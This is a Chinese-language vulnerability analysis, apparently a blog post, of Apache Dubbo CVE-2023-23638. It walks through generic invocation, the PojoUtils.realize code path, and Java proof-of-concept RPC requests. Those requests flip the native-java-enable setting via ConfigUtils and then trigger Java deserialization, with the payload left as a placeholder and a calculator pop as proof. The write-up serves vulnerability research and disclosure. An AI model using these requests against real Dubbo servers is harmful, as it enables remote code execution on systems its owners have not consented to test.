Dubbo CVE-2023-23638

前言

CVE-2023-23638 是 CVE-2021-30179 的绕过。

Dubbo

architecture

Dubbo 是一款 RPC 服务开发框架,用于解决微服务架构下的服务治理与通信问题。

Dubbo 默认支持泛化调用,泛化调用是指在调用方没有服务方提供的 API(SDK)的情况下,对服务方进行调用,并且可以正常拿到调用结果。泛化调用由 GenericFilter 处理,GenericFilter 通过参数中提供的方法签名查找方法,最终通过反射完成方法调用。invoke 方法的方法签名是 *Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;*,其中第一个参数是要调用的方法名,第二个参数是包含要调用方法的参数类型的数组,第三个参数是包含实际调用参数的数组。

此外,调用者还需要设置一个 RPC 附件,指定该调用是一个泛化调用以及如何解码参数,可能为以下值:

  • true
  • raw.return
  • nativejava
  • bean
  • protobuf-json

CVE-2021-30179

攻击者可以控制此 RPC 附件并将其设置为 nativejava,强制服务端反序列化第三个参数中的字节数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 1.dubboVersion
out.writeString("2.7.8");
// 2.path
out.writeString("org.apache.dubbo.samples.basic.api.DemoService");
// 3.version
out.writeString("");
// 4.methodName
out.writeString("$invoke");
// 5.methodDesc
out.writeString("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
// 6.paramsObject
out.writeString("sayHello");
out.writeObject(new String[] {"java.lang.String"});
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(<DESERIALIZATION PAYLOAD BYTE[]>);
out.writeObject(new Object[] {baos.toByteArray()});
// 7.map
HashMap map = new HashMap();
map.put("generic", "nativejava");
out.writeObject(map);

CVE-2023-23638

截屏2023-03-16 23.26.30

dubbo.security.serialize.generic.native-java-enable 默认被设置为 false 来禁止反序列化。

正如上文中提到的,GenericFilter 还支持其他参数解码的方式。当 RPC 附件为 trueraw.return 时,将调用 PojoUtils.realize 方法。

1
2
3
4
5
6
7
8
9
if (StringUtils.isEmpty(generic)
|| ProtocolUtils.isDefaultGenericSerialization(generic)
|| ProtocolUtils.isGenericReturnRawResult(generic)) {
try {
args = PojoUtils.realize(args, params, method.getGenericParameterTypes());
} catch (IllegalArgumentException e) {
throw new RpcException(e);
}
}

如果 pojoMap 实例,那么会获取键名为 class 的值,并获取到 class 对应的类 type,如果 type 不是 Map 的子类、不是接口,那么将进入最终的 else 分支,首先对 type 实例化得到 dest 对象,再对 pojo 进行遍历,通过 getSetterMethod 方法获取到 setter 方法,反射调用 setter 方法为对应的属性赋值,如果没有找到 setter 方法,则会通过反射修改相应的属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
if (pojo instanceof Map<?, ?> && type != null) {
Object className = ((Map<Object, Object>) pojo).get("class");
if (className instanceof String) {
SerializeClassChecker.getInstance().validateClass((String) className);
if (!CLASS_NOT_FOUND_CACHE.containsKey(className)) {
try {
type = ClassUtils.forName((String) className);
} catch (ClassNotFoundException e) {
CLASS_NOT_FOUND_CACHE.put((String) className, NOT_FOUND_VALUE);
}
}
}

// special logic for enum
if (type.isEnum()) {
Object name = ((Map<Object, Object>) pojo).get("name");
if (name != null) {
if (!(name instanceof String)) {
throw new IllegalArgumentException("`name` filed should be string!");
} else {
return Enum.valueOf((Class<Enum>) type, (String) name);
}
}
}
Map<Object, Object> map;
// when return type is not the subclass of return type from the signature and not an interface
if (!type.isInterface() && !type.isAssignableFrom(pojo.getClass())) {
try {
map = (Map<Object, Object>) type.newInstance();
Map<Object, Object> mapPojo = (Map<Object, Object>) pojo;
map.putAll(mapPojo);
if (GENERIC_WITH_CLZ) {
map.remove("class");
}
} catch (Exception e) {
//ignore error
map = (Map<Object, Object>) pojo;
}
} else {
map = (Map<Object, Object>) pojo;
}

if (Map.class.isAssignableFrom(type) || type == Object.class) {
final Map<Object, Object> result;
// fix issue#5939
Type mapKeyType = getKeyTypeForMap(map.getClass());
Type typeKeyType = getGenericClassByIndex(genericType, 0);
boolean typeMismatch = mapKeyType instanceof Class
&& typeKeyType instanceof Class
&& !typeKeyType.getTypeName().equals(mapKeyType.getTypeName());
if (typeMismatch) {
result = createMap(new HashMap(0));
} else {
result = createMap(map);
}

history.put(pojo, result);
for (Map.Entry<Object, Object> entry : map.entrySet()) {
Type keyType = getGenericClassByIndex(genericType, 0);
Type valueType = getGenericClassByIndex(genericType, 1);
Class<?> keyClazz;
if (keyType instanceof Class) {
keyClazz = (Class<?>) keyType;
} else if (keyType instanceof ParameterizedType) {
keyClazz = (Class<?>) ((ParameterizedType) keyType).getRawType();
} else {
keyClazz = entry.getKey() == null ? null : entry.getKey().getClass();
}
Class<?> valueClazz;
if (valueType instanceof Class) {
valueClazz = (Class<?>) valueType;
} else if (valueType instanceof ParameterizedType) {
valueClazz = (Class<?>) ((ParameterizedType) valueType).getRawType();
} else {
valueClazz = entry.getValue() == null ? null : entry.getValue().getClass();
}

Object key = keyClazz == null ? entry.getKey() : realize0(entry.getKey(), keyClazz, keyType, history);
Object value = valueClazz == null ? entry.getValue() : realize0(entry.getValue(), valueClazz, valueType, history);
result.put(key, value);
}
return result;
} else if (type.isInterface()) {
Object dest = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class<?>[]{type}, new PojoInvocationHandler(map));
history.put(pojo, dest);
return dest;
} else {
Object dest;
if (Throwable.class.isAssignableFrom(type)) {
Object message = map.get("message");
if (message instanceof String) {
dest = newThrowableInstance(type, (String) message);
} else {
dest = newInstance(type);
}
} else {
dest = newInstance(type);
}

history.put(pojo, dest);
for (Map.Entry<Object, Object> entry : map.entrySet()) {
Object key = entry.getKey();
if (key instanceof String) {
String name = (String) key;
Object value = entry.getValue();
if (value != null) {
Method method = getSetterMethod(dest.getClass(), name, value.getClass());
Field field = getField(dest.getClass(), name);
if (method != null) {
if (!method.isAccessible()) {
method.setAccessible(true);
}
Type ptype = method.getGenericParameterTypes()[0];
value = realize0(value, method.getParameterTypes()[0], ptype, history);
try {
method.invoke(dest, value);
} catch (Exception e) {
String exceptionDescription = "Failed to set pojo " + dest.getClass().getSimpleName() + " property " + name
+ " value " + value.getClass() + ", cause: " + e.getMessage();
logger.error(exceptionDescription, e);
throw new RuntimeException(exceptionDescription, e);
}
} else if (field != null) {
value = realize0(value, field.getType(), field.getGenericType(), history);
try {
field.set(dest, value);
} catch (IllegalAccessException e) {
throw new RuntimeException("Failed to set field " + name + " of pojo " + dest.getClass().getName() + " : " + e.getMessage(), e);
}
}
}
}
}
return dest;
}
}

CVE-2023-23638 就是通过此处来将 dubbo.security.serialize.generic.native-java-enable 设置为 true,以使 GenericFilter 支持Java反序列化。

需要注意的是官方通告的版本中一些版本 org.apache.dubbo.common.utils.ConfigUtils 类不存在 setProperties 方法,且不存在 PROPERTIES 属性,因此无法利用。

image-20230317001928269

image-20230317002009544

使用官方的samples来快速搭建漏洞环境:https://github.com/apache/dubbo-samples

需要修改 pom.xml 中的 dubbo 版本,添加反序列化链依赖。

先通过 raw.return 设置允许反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
out.writeUTF("2.7.15");
out.writeUTF("org.apache.dubbo.samples.serialization.api.DemoService");
out.writeUTF("1.0.0");
out.writeUTF("$invoke");
out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
out.writeUTF("sayHello");
out.writeObject(new String[]{"java.lang.String"});
Properties properties = new Properties();
properties.setProperty("dubbo.security.serialize.generic.native-java-enable", "TRUE");
HashMap hashMap = new HashMap();
hashMap.put("class", "org.apache.dubbo.common.utils.ConfigUtils");
hashMap.put("properties", properties);
out.writeObject(new Object[]{hashMap});
HashMap map = new HashMap();
map.put("generic", "raw.return");
out.writeObject(map);

image-20230317003254010

然后通过 nativejava 反序列化,弹计算器。

image-20230317003445146